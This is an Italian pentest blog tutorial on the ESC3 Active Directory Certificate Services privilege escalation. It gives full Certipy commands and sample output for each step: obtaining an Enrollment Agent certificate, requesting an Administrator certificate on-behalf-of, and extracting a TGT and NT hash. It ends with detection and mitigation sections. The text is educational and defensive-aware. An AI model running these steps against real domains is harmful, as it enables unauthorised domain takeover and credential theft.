ESC3 ADCS Privilege Escalation: Exploit Active Directory con Certipy

ESC3 ADCS Privilege Escalation: sfruttare template con EKU Certificate Request Agent per richiedere certificati on-behalf-of e ottenere Domain Admin con Certipy.
- Pubblicato il 2026-03-07
- Tempo di lettura: 2 min
ESC3 è una tecnica di Active Directory Privilege Escalation tramite AD CS che sfrutta i Enrollment Agent certificates.
Un Enrollment Agent è un account autorizzato a richiedere certificati per conto di altri utenti.
Se un attaccante riesce a ottenere un certificato con EKU:
1.3.6.1.4.1.311.20.2.1
Certificate Request Agentpuò richiedere certificati per qualsiasi utente del dominio, inclusi Domain Admin.
Quando esiste ESC3 #
ESC3 esiste quando:
1 — Template Enrollment Agent #
Un template emette certificati con EKU:
Certificate Request AgentEsempio:
Enrollment Agent : True
Extended Key Usage : Certificate Request Agent2 — Enrollment aperto #
Il template permette enrollment a gruppi come:
Domain Users
Authenticated Users3 — Template target disponibile #
Serve un secondo template che:
Client AuthenticationE permetta enrollment agent.
Tipicamente:
User
Machine(soprattutto Schema Version 1).
Identificazione con Certipy #
Enumerazione:
certipy find -u attacker@corp.local -p 'Passw0rd!'Output tipico:
Template Name : EnrollAgent
Enrollment Agent : True
[!] Vulnerabilities
ESC3 : Template has Certificate Request Agent EKU setIndicatori chiave:
Enrollment Agent : True
Extended Key Usage : Certificate Request Agent
Enrollment Rights : Domain UsersTemplate target esempio:
Template Name : User
Client Authentication : True
Schema Version : 1Output Certipy:
ESC3 Target TemplateExploitation ESC3 #
L’attacco avviene in tre step.
Step 1 — ottenere Enrollment Agent certificate #
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template EnrollAgentOutput:
Successfully requested certificate
Saving certificate to attacker.pfxFile ottenuto:
attacker.pfxQuesto certificato ha capacità Enrollment Agent.
Step 2 — richiedere certificato Administrator #
Usando il certificato agent.
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template User \
-pfx attacker.pfx \
-on-behalf-of CORP\AdministratorOutput:
Successfully requested certificate
Saving certificate to administrator.pfxStep 3 — autenticarsi come Administrator #
certipy auth \
-pfx administrator.pfx \
-dc-ip 10.0.0.100Output:
Got TGT
Got NT hash for administratorL’attaccante ottiene:
- Kerberos TGT
- NTLM hash
- accesso Domain Admin
Perché ESC3 è critico #
Perché un Enrollment Agent può:
richiedere certificati per qualsiasi utenteQuindi basta compromettere un solo certificato agent per controllare il dominio.
Detection ESC3 #
Indicatori principali:
Enrollment Agent : True
Extended Key Usage : Certificate Request Agent
Enrollment Rights : Domain UsersAudit:
certipy findMitigation ESC3 #
Limitare enrollment agent #
Non permettere enrollment a:
Domain Users
Authenticated UsersUsare template V2+ #
Template moderni permettono restrizioni su:
Enrollment Agent EKURichiedere manager approval #
Template → Issuance Requirements:
CA certificate manager approvalDisabilitare template inutilizzati #
Molti ambienti mantengono template legacy inutili.
FAQ — ESC3 ADCS #
Cos’è ESC3? #
Una vulnerabilità che permette di ottenere un Enrollment Agent certificate.
Qual è il problema? #
Un Enrollment Agent può richiedere certificati per altri utenti.
ESC3 porta a Domain Admin? #
Sì, usando on-behalf-of enrollment.
ESC3 è simile a ESC2? #
ESC2 produce un agent certificate tramite Any Purpose EKU, mentre ESC3 usa un template agent dedicato.
Key Takeaway: se un template permette a utenti normali di ottenere un certificato Enrollment Agent, quell’utente può richiedere certificati per qualsiasi account del dominio.
Guida completa AD CS escalation: https://hackita.it/articoli/adcs-esc1-esc16Continua con: https://hackita.it/articoli/esc4-adcs · https://hackita.it/articoli/esc5-adcsSupporta HackIta: https://hackita.it/supportoPentest Active Directory o formazione offensiva: https://hackita.it/serviziRiferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/







